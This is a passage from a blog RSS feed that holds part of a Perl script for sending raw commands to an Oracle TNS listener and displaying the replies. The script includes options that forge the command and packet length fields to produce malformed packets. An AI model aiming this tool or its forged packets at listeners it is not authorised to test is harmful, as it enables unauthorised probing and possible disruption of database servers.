# build the packet, open the socket, send the packet, return the response<br />
#</p>
<p>sub tnscmd<br />
{<br />
 my ($command) = shift @_;<br />
 my ($packetlen, $cmdlen);<br />
 my ($clenH, $clenL, $plenH, $plenL);<br />
 my ($i);</p>
<p> print &#8220;sending $command to $main::hostname:$main::port\n&#8221;;</p>
<p> if ($main::fakecmdsize ne &#8220;&#8221;)<br />
 {<br />
  $cmdlen = $main::fakecmdsize;<br />
  print &#8220;Faking command length to $cmdlen bytes\n&#8221;;<br />
 }<br />
 else<br />
 { <br />
  $cmdlen = length ($command);<br />
 }</p>
<p> $clenH = $cmdlen &gt;&gt; 8;<br />
 $clenL = $cmdlen &amp; 0xff;</p>
<p> # calculate packet length</p>
<p> if (defined($main::fakepacketsize))<br />
 {<br />
  print &#8220;Faking packet length to $main::fakepacketsize bytes\n&#8221;;<br />
  $packetlen = $main::fakepacketsize;<br />
 }<br />
 else<br />
 { <br />
  $packetlen = length($command) + 58; # &#8220;preamble&#8221; is 58 bytes<br />
 }</p>
<p> $plenH = $packetlen &gt;&gt; 8;<br />
 $plenL = $packetlen &amp; 0xff;</p>
<p> $packetlen = length($command) + 58 if (defined($main::fakepacketsize));</p>
<p> # decimal offset<br />
 # 0:   packetlen_high packetlen_low<br />
 # 26:  cmdlen_high cmdlen_low<br />
 # 58:  command</p>
<p> # the packet.</p>
<p> my (@packet) = (<br />
  $plenH, $plenL, 0&#215;00, 0&#215;00, 0&#215;01, 0&#215;00, 0&#215;00, 0&#215;00,<br />
  0&#215;01, 0&#215;36, 0&#215;01, 0&#215;2c, 0&#215;00, 0&#215;00, 0&#215;08, 0&#215;00,<br />
  0&#215;7f, 0xff, 0&#215;7f, 0&#215;08, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;01,<br />
  $clenH, $clenL, 0&#215;00, 0&#215;3a, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00,<br />
  0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00,<br />
  0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;34, 0xe6, 0&#215;00, 0&#215;00,<br />
  0&#215;00, 0&#215;01, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00, 0&#215;00,<br />
  0&#215;00, 0&#215;00<br />
  );<br />
 for ($i=0;$i&lt;length($command);$i++) <br />
 {<br />
  push(@packet, ord(substr($command, $i, 1)));<br />
 } </p>
<p> my ($sendbuf) = pack(&#8220;C*&#8221;, @packet);</p>
<p> print &#8220;connect &#8220;;<br />
 my ($tns_sock) = IO::Socket::INET-&gt;new(<br />
  PeerAddr =&gt; $main::hostname,<br />
  PeerPort =&gt; $main::port,<br />
  Proto =&gt; &#8216;tcp&#8217;,<br />
  Type =&gt; SOCK_STREAM,<br />
  Timeout =&gt; 30) || die &#8220;connect to $main::hostname failure: $!&#8221;;<br />
 $tns_sock-&gt;autoflush(1);</p>
<p> print &#8220;\rwriting &#8221; . length($sendbuf) . &#8221; bytes\n&#8221;;</p>
<p> if (defined($main::logfile))<br />
 {<br />
  open(SEND, &#8220;&gt;$main::logfile.send&#8221;) || die &#8220;can&#8217;t write $main::logfile.send: $!&#8221;;<br />
  print SEND $sendbuf || die &#8220;write to logfile failed: $!&#8221;;<br />
  close(SEND);<br />
 } </p>
<p> my ($count) = syswrite($tns_sock, $sendbuf, length($sendbuf));</p>
<p> if ($count != length($sendbuf))<br />
 {<br />
  print &#8220;only wrote $count bytes?!&#8221;;<br />
  exit 1;<br />
 } </p>
<p> print &#8220;reading\n&#8221;;</p>
<p> # get fun data<br />
 # 1st 12 bytes have some meaning which so far eludes me</p>
<p> if (defined($main::logfile))<br />
 {<br />
  open(REC, &#8220;&gt;$main::logfile.rec&#8221;) || die &#8220;can&#8217;t write $main::logfile.rec: $!&#8221;;<br />
 } </p>
<p> my ($buf, $recvbuf);</p>
<p> # read until socket EOF<br />
 while (sysread($tns_sock, $buf, 128))<br />
 {<br />
  print REC $buf if (defined($main::logfile));<br />
  $recvbuf .= $buf;<br />
 }<br />
 close (REC) if (defined($main::logfile));<br />
 close ($tns_sock);<br />
 return $recvbuf;<br />
}<br />
sub viewtns<br />
{<br />
 my ($response) = shift @_;</p>
<p> # should have a hexdump option . . .</p>
<p> if ($main::raw)<br />
 {<br />
  print $response;<br />
 }<br />
 else<br />
 {<br />
  $response =~ tr/\200-\377/00-\177/; # strip high bits<br />
  $response =~ tr/00-27/\./;<br />
  $response =~ tr/\177/\./;</p>
<p>  if ($main::indent)<br />
  {<br />
   parenify($response);<br />
  }<br />
  else<br />
  {<br />
   print $response;<br />
  }<br />
  print &#8220;\n&#8221;;<br />
 } <br />
} <br />
sub parenify<br />
{<br />
 my ($buf) = shift @_;<br />
 my ($i, $c);<br />
 my ($indent, $o_indent);</p>
<p> for ($i=0;$i&lt;length($buf);$i++)<br />
 {<br />
  $c = substr($buf, $i, 1);<br />
  $indent++ if ($c eq &#8220;(&#8220;);<br />
  $indent&#8211; if ($c eq &#8220;)&#8221;);<br />
  if ($indent != $o_indent)<br />
  {<br />
   print &#8220;\n&#8221; unless(substr($buf, $i+1, 1) eq &#8220;(&#8220;);<br />
   print &#8220;  &#8221; x $indent;<br />
   $o_indent = $indent;<br />
   undef $c;<br />
  } <br />
  print $c;<br />
 }<br />
} </p></blockquote>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/installatore.wordpress.com/29/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/installatore.wordpress.com/29/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/installatore.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/installatore.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/installatore.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/installatore.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/installatore.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/installatore.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/installatore.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/installatore.wordpress.com/29/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/installatore.wordpress.com/29/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/installatore.wordpress.com/29/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=installatore.wordpress.com&blog=4360094&post=29&subd=installatore&ref=&feed=1" />]]></content:encoded>
			<wfw:commentRss>http://installatore.wordpress.com/2008/08/31/script-tns-commander/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/b537482f2745257f3904cfb47cbc98db?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">installatore</media:title>
		</media:content>
	</item>
	</channel>
</rss>